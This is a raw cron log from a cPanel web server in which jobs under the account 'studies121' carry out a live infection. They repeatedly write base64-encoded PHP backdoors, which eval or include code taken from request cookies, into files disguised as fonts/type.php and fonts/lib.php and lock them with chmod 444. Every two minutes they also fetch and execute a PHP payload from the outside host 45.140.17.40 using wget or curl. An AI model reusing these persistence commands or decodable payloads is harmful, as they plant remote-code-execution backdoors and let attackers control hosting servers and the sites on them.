Sep 21 20:12:01 ip-184-168-122-23 CROND[9247]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:12:01 ip-184-168-122-23 CROND[9250]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:12:01 ip-184-168-122-23 CROND[9252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:12:01 ip-184-168-122-23 CROND[9249]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:12:01 ip-184-168-122-23 CROND[9254]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:13:01 ip-184-168-122-23 CROND[9357]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:13:01 ip-184-168-122-23 CROND[9358]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:13:01 ip-184-168-122-23 CROND[9361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:13:01 ip-184-168-122-23 CROND[9362]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:14:01 ip-184-168-122-23 CROND[9481]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:14:01 ip-184-168-122-23 CROND[9483]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:14:01 ip-184-168-122-23 CROND[9484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:14:01 ip-184-168-122-23 CROND[9485]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:14:01 ip-184-168-122-23 CROND[9486]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:15:01 ip-184-168-122-23 CROND[9681]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:15:01 ip-184-168-122-23 CROND[9682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:15:01 ip-184-168-122-23 CROND[9684]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:15:01 ip-184-168-122-23 CROND[9686]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 21 20:15:01 ip-184-168-122-23 CROND[9688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:15:01 ip-184-168-122-23 CROND[9689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:15:01 ip-184-168-122-23 CROND[9690]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:16:01 ip-184-168-122-23 CROND[9807]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:16:01 ip-184-168-122-23 CROND[9809]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:16:01 ip-184-168-122-23 CROND[9812]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:16:01 ip-184-168-122-23 CROND[9810]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:16:01 ip-184-168-122-23 CROND[9811]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 21 20:16:01 ip-184-168-122-23 CROND[9813]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:17:01 ip-184-168-122-23 CROND[9914]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:17:01 ip-184-168-122-23 CROND[9918]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:17:01 ip-184-168-122-23 CROND[9916]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:17:01 ip-184-168-122-23 CROND[9917]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:18:01 ip-184-168-122-23 CROND[10015]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:18:01 ip-184-168-122-23 CROND[10016]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:18:01 ip-184-168-122-23 CROND[10018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:18:01 ip-184-168-122-23 CROND[10017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:18:01 ip-184-168-122-23 CROND[10019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:19:01 ip-184-168-122-23 CROND[10123]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:19:01 ip-184-168-122-23 CROND[10125]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:19:01 ip-184-168-122-23 CROND[10126]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:19:01 ip-184-168-122-23 CROND[10127]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:20:01 ip-184-168-122-23 CROND[10325]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 21 20:20:01 ip-184-168-122-23 CROND[10328]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:20:01 ip-184-168-122-23 CROND[10330]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:20:01 ip-184-168-122-23 CROND[10334]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 21 20:20:01 ip-184-168-122-23 CROND[10332]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 21 20:20:01 ip-184-168-122-23 CROND[10336]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:20:01 ip-184-168-122-23 CROND[10335]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 21 20:20:01 ip-184-168-122-23 CROND[10337]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:20:01 ip-184-168-122-23 CROND[10333]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:21:01 ip-184-168-122-23 CROND[10451]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:21:01 ip-184-168-122-23 CROND[10452]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:21:01 ip-184-168-122-23 CROND[10455]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:21:01 ip-184-168-122-23 CROND[10453]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:22:01 ip-184-168-122-23 CROND[10676]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 21 20:22:01 ip-184-168-122-23 CROND[10679]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:22:01 ip-184-168-122-23 CROND[10680]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:22:01 ip-184-168-122-23 CROND[10681]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:22:01 ip-184-168-122-23 CROND[10682]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:23:01 ip-184-168-122-23 CROND[10801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 21 20:23:01 ip-184-168-122-23 CROND[10803]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 21 20:23:01 ip-184-168-122-23 CROND[10802]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 21 20:23:01 ip-184-168-122-23 CROND[10804]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 21 20:24:01 ip-184-168-122-23 CROND[10935]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
